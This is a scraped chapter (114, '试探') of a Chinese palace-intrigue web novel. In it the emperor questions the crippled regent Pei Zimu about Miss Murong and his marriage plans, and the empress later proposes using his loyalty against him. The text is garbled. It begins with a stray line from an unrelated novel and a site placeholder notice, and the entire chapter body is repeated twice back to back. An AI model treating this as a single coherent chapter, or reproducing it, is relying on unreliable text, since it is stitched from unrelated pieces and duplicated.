“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第114章 试探 “行了。” 皇帝轻叩杯盏,清脆声响截断话语,“朝野被这事搅得鸡犬不宁,见好就收吧。” 他端起茶盏轻抿,杯沿沾着一抹暗红药渍,“死了几个贱民罢了,也值得兴师动众?天家颜面、朝堂安稳,哪样不比这些蝼蚁的命金贵?” 裴子慕喉头微动,轮椅在青砖地上发出细微声响。 他望着皇帝随意搁在鲛绡毯上的翡翠扳指,那抹帝王绿在烛火下流转,传闻开采时矿洞崩塌,埋了整整一支民夫队伍。 忽起夜风,吹得鲛绡帐幔翻涌,露出墙上新挂的《百骏图》,画中每根马鬃都以少女青丝捻成,百名绣娘绣完此画,尽数失明。 殿外忽有夜枭长鸣,烛火在他眼底明明灭灭,最终凝成一汪寒潭。 皇帝把玩着东珠手串的手指骤然收紧,几粒珠子相撞发出清脆声响:“听闻广阳侯府一案,你是与永安侯府的嫡长女一同查探?” 他垂眸盯着掌心流转的珠光,看似漫不经心,眼角余光却死死锁住裴子慕的神色。 裴子慕脊背瞬间绷紧,轮椅扶手在掌心沁出冷汗。 他微微颔首,声线却稳如寒潭:“是。” “永安侯那草包没什么本事,生的女儿倒机灵。” 皇帝忽然轻笑,杯盏放下桌子的时候磕了一下,迸出刺耳的脆响。 “朕倒好奇,你这位手握重权的摄政王,和深居闺阁的侯府千金,究竟是怎么认识的?” 话音未落,兽首香炉里的香灰突然簌簌而落,在寂静的御书房里炸开细小的尘雾。 裴子慕垂眸盯着自己僵直的膝盖,喉结微动:“慕容姑娘自小在道观长大,习得一身医术。” 殿内烛火摇曳,将他投在青砖上的影子拉得扭曲又绵长。 皇帝顺着他的视线望去,落在轮椅上的目光意味深长。 他状似不经意的望向裴子慕的双腿:“她能治好你的腿?” 裴子慕扯动嘴角,露出一抹自嘲的笑。 案头龙涎香腾起浓烟,呛得他轻咳两声:“哪有那么容易。她只不过是个刚及笄的小姑娘,能有多大能耐?” 他顿了顿,袖中指尖掐进掌心,“臣弟这双腿早废了,不过是母亲忧心,非要请她一试。” 话音落时,窗外突然炸响一道闷雷,豆大的雨点砸在琉璃瓦上,惊得梁间燕雀扑棱棱乱飞。 殿后传来轻微的脚步声,轻纱帐幔后转出两名宫娥。 为首的宫娥捧着茶盏款步行来,发间珍珠步摇随着动作轻晃,眼波流转间,将轮椅上的人打量个遍。 当她看清那张剑眉星目、俊美无俦的面容时,眼底瞬间漫上倾慕。 原传闻中战功赫赫的摄政王,竟这般年轻俊朗。 然而,当她的目光落在裴子慕无法动弹的双腿上时,眸光忽地黯淡下去,惋惜之色浮现在脸上。 她半跪行礼时,裙摆扫过青砖,龙脑香混着胭脂味氤氲开来,却见裴子慕始终垂眸望着膝头,睫毛在眼下投出蝶翼般的阴影,连眼角余光都未施舍半分。 皇帝倚着龙榻,用扳指摩挲着下颌,将这一幕尽收眼底。 烛火明明灭灭,映得他眼底泛起算计的幽光:“你今年年纪也不小了。” 他突然开口,声音漫不经心,“也该到议亲的年纪了,可有心仪的女子?” 裴子慕脊背挺直,声线如寒铁般掷地有声:“北疆蛮夷虎视眈眈,边境烽烟未熄,臣弟曾立誓,不荡平胡虏,绝不成家。” 他抬起眼时,琥珀色的眸中燃起灼烈的光,与御书房昏黄的烛火交相辉映。 皇帝闻言嗤笑一声,随手将翡翠扳指丢在案上,发出清脆的碰撞声:“国要守,家也要成。难不成让裴氏血脉断在你手里?” 他忽然倾身向前,明黄衣袖扫落案头沉香屑,眼底闪过意味深长的笑意,“朕看慕容姑娘就很不错。医术精湛、胆识过人,听闻生得更是清丽脱俗。” 话音顿住,他摩挲着腕间东珠,似笑非笑道,“倒是与你这位摄政王,般配得很。” 裴子慕声线冷硬似出鞘寒剑:“慕容姑娘年岁尚幼,臣弟对她无半分儿女私情。” 他顿了顿,抬眸直视坐在榻上的九五至尊,“臣弟心中早有属意之人,除了她,天下任何女子都入不了我的眼。” 话音落时,他缓缓摸向腰间那枚古玉。 玉佩边角已被岁月磨得温润,褪色的穗子打着陈旧的结,显然被主人贴身佩戴多年。 裴子慕指尖抚过玉佩褪色的穗子,唇角勾起一抹意味深长的弧度:“皇兄既关切臣弟私事,想必对过往种种也早有了解。” 他抬眸时,琥珀色的瞳孔映着摇曳烛火,“这些年我一直在寻找她,臣弟此生,心中唯有她一人。” 御书房内沉香袅袅,皇帝转动翡翠扳指的动作一顿,烛台在青砖上投下晃动的阴影。 透过京中暗桩递出的密报,皇帝当然知道裴子慕这些人一直没有放弃在寻找一个女子,据说是他流落民间时的救命恩人。 “倒没想到,你竟如此长情。” 皇帝语气似笑非笑,“不过寻了十年都没结果,莫要耽误了终身。” “皇兄教诲,臣弟铭记于心。” 裴子慕躬身行礼,轮椅碾过青砖的声响混着窗外骤雨,将未尽之言都掩在这方寂静里。 裴子慕的轮椅轱辘声渐渐消失在雨幕深处,花鸟屏风后传来环佩轻响。 皇后垂眸款步而出,月白鲛绡裙摆扫过青砖,鬓边九凤衔珠钗随着步伐轻颤,眉眼低垂间尽是温婉。 “陛下为社稷殚精竭虑,可要保重龙体。” 她指尖捏着绣帕,轻柔地为皇帝擦拭额角,眼底却翻涌着暗潮。 皇帝忽然扣住她手腕,翡翠扳指冷得刺骨:“瘸着腿还攥着三十万镇北军,裴子慕当朕是瞎子不成?” 烛火明灭间,他盯着屏风上碎裂的光影,“北疆战事、国库粮草,哪桩他不插手?今日还敢在朕面前提什么信物、长情……” 皇后睫毛轻颤,反手握住皇帝冰凉的手,柔声道:“越是重情的人,越有破绽可寻。他既瞧不上天下女子,心心念念那虚无缥缈的玉佩主人,陛下不如就将他不喜欢的人,日日放在他身边。”“行了。” 皇帝轻叩杯盏,清脆声响截断话语,“朝野被这事搅得鸡犬不宁,见好就收吧。” 他端起茶盏轻抿,杯沿沾着一抹暗红药渍,“死了几个贱民罢了,也值得兴师动众?天家颜面、朝堂安稳,哪样不比这些蝼蚁的命金贵?” 裴子慕喉头微动,轮椅在青砖地上发出细微声响。 他望着皇帝随意搁在鲛绡毯上的翡翠扳指,那抹帝王绿在烛火下流转,传闻开采时矿洞崩塌,埋了整整一支民夫队伍。 忽起夜风,吹得鲛绡帐幔翻涌,露出墙上新挂的《百骏图》,画中每根马鬃都以少女青丝捻成,百名绣娘绣完此画,尽数失明。 殿外忽有夜枭长鸣,烛火在他眼底明明灭灭,最终凝成一汪寒潭。 皇帝把玩着东珠手串的手指骤然收紧,几粒珠子相撞发出清脆声响:“听闻广阳侯府一案,你是与永安侯府的嫡长女一同查探?” 他垂眸盯着掌心流转的珠光,看似漫不经心,眼角余光却死死锁住裴子慕的神色。 裴子慕脊背瞬间绷紧,轮椅扶手在掌心沁出冷汗。 他微微颔首,声线却稳如寒潭:“是。” “永安侯那草包没什么本事,生的女儿倒机灵。” 皇帝忽然轻笑,杯盏放下桌子的时候磕了一下,迸出刺耳的脆响。 “朕倒好奇,你这位手握重权的摄政王,和深居闺阁的侯府千金,究竟是怎么认识的?” 话音未落,兽首香炉里的香灰突然簌簌而落,在寂静的御书房里炸开细小的尘雾。 裴子慕垂眸盯着自己僵直的膝盖,喉结微动:“慕容姑娘自小在道观长大,习得一身医术。” 殿内烛火摇曳,将他投在青砖上的影子拉得扭曲又绵长。 皇帝顺着他的视线望去,落在轮椅上的目光意味深长。 他状似不经意的望向裴子慕的双腿:“她能治好你的腿?” 裴子慕扯动嘴角,露出一抹自嘲的笑。 案头龙涎香腾起浓烟,呛得他轻咳两声:“哪有那么容易。她只不过是个刚及笄的小姑娘,能有多大能耐?” 他顿了顿,袖中指尖掐进掌心,“臣弟这双腿早废了,不过是母亲忧心,非要请她一试。” 话音落时,窗外突然炸响一道闷雷,豆大的雨点砸在琉璃瓦上,惊得梁间燕雀扑棱棱乱飞。 殿后传来轻微的脚步声,轻纱帐幔后转出两名宫娥。 为首的宫娥捧着茶盏款步行来,发间珍珠步摇随着动作轻晃,眼波流转间,将轮椅上的人打量个遍。 当她看清那张剑眉星目、俊美无俦的面容时,眼底瞬间漫上倾慕。 原传闻中战功赫赫的摄政王,竟这般年轻俊朗。 然而,当她的目光落在裴子慕无法动弹的双腿上时,眸光忽地黯淡下去,惋惜之色浮现在脸上。 她半跪行礼时,裙摆扫过青砖,龙脑香混着胭脂味氤氲开来,却见裴子慕始终垂眸望着膝头,睫毛在眼下投出蝶翼般的阴影,连眼角余光都未施舍半分。 皇帝倚着龙榻,用扳指摩挲着下颌,将这一幕尽收眼底。 烛火明明灭灭,映得他眼底泛起算计的幽光:“你今年年纪也不小了。” 他突然开口,声音漫不经心,“也该到议亲的年纪了,可有心仪的女子?” 裴子慕脊背挺直,声线如寒铁般掷地有声:“北疆蛮夷虎视眈眈,边境烽烟未熄,臣弟曾立誓,不荡平胡虏,绝不成家。” 他抬起眼时,琥珀色的眸中燃起灼烈的光,与御书房昏黄的烛火交相辉映。 皇帝闻言嗤笑一声,随手将翡翠扳指丢在案上,发出清脆的碰撞声:“国要守,家也要成。难不成让裴氏血脉断在你手里?” 他忽然倾身向前,明黄衣袖扫落案头沉香屑,眼底闪过意味深长的笑意,“朕看慕容姑娘就很不错。医术精湛、胆识过人,听闻生得更是清丽脱俗。” 话音顿住,他摩挲着腕间东珠,似笑非笑道,“倒是与你这位摄政王,般配得很。” 裴子慕声线冷硬似出鞘寒剑:“慕容姑娘年岁尚幼,臣弟对她无半分儿女私情。” 他顿了顿,抬眸直视坐在榻上的九五至尊,“臣弟心中早有属意之人,除了她,天下任何女子都入不了我的眼。” 话音落时,他缓缓摸向腰间那枚古玉。 玉佩边角已被岁月磨得温润,褪色的穗子打着陈旧的结,显然被主人贴身佩戴多年。 裴子慕指尖抚过玉佩褪色的穗子,唇角勾起一抹意味深长的弧度:“皇兄既关切臣弟私事,想必对过往种种也早有了解。” 他抬眸时,琥珀色的瞳孔映着摇曳烛火,“这些年我一直在寻找她,臣弟此生,心中唯有她一人。” 御书房内沉香袅袅,皇帝转动翡翠扳指的动作一顿,烛台在青砖上投下晃动的阴影。 透过京中暗桩递出的密报,皇帝当然知道裴子慕这些人一直没有放弃在寻找一个女子,据说是他流落民间时的救命恩人。 “倒没想到,你竟如此长情。” 皇帝语气似笑非笑,“不过寻了十年都没结果,莫要耽误了终身。” “皇兄教诲,臣弟铭记于心。” 裴子慕躬身行礼,轮椅碾过青砖的声响混着窗外骤雨,将未尽之言都掩在这方寂静里。 裴子慕的轮椅轱辘声渐渐消失在雨幕深处,花鸟屏风后传来环佩轻响。 皇后垂眸款步而出,月白鲛绡裙摆扫过青砖,鬓边九凤衔珠钗随着步伐轻颤,眉眼低垂间尽是温婉。 “陛下为社稷殚精竭虑,可要保重龙体。” 她指尖捏着绣帕,轻柔地为皇帝擦拭额角,眼底却翻涌着暗潮。 皇帝忽然扣住她手腕,翡翠扳指冷得刺骨:“瘸着腿还攥着三十万镇北军,裴子慕当朕是瞎子不成?” 烛火明灭间,他盯着屏风上碎裂的光影,“北疆战事、国库粮草,哪桩他不插手?今日还敢在朕面前提什么信物、长情……” 皇后睫毛轻颤,反手握住皇帝冰凉的手,柔声道:“越是重情的人,越有破绽可寻。他既瞧不上天下女子,心心念念那虚无缥缈的玉佩主人,陛下不如就将他不喜欢的人,日日放在他身边。”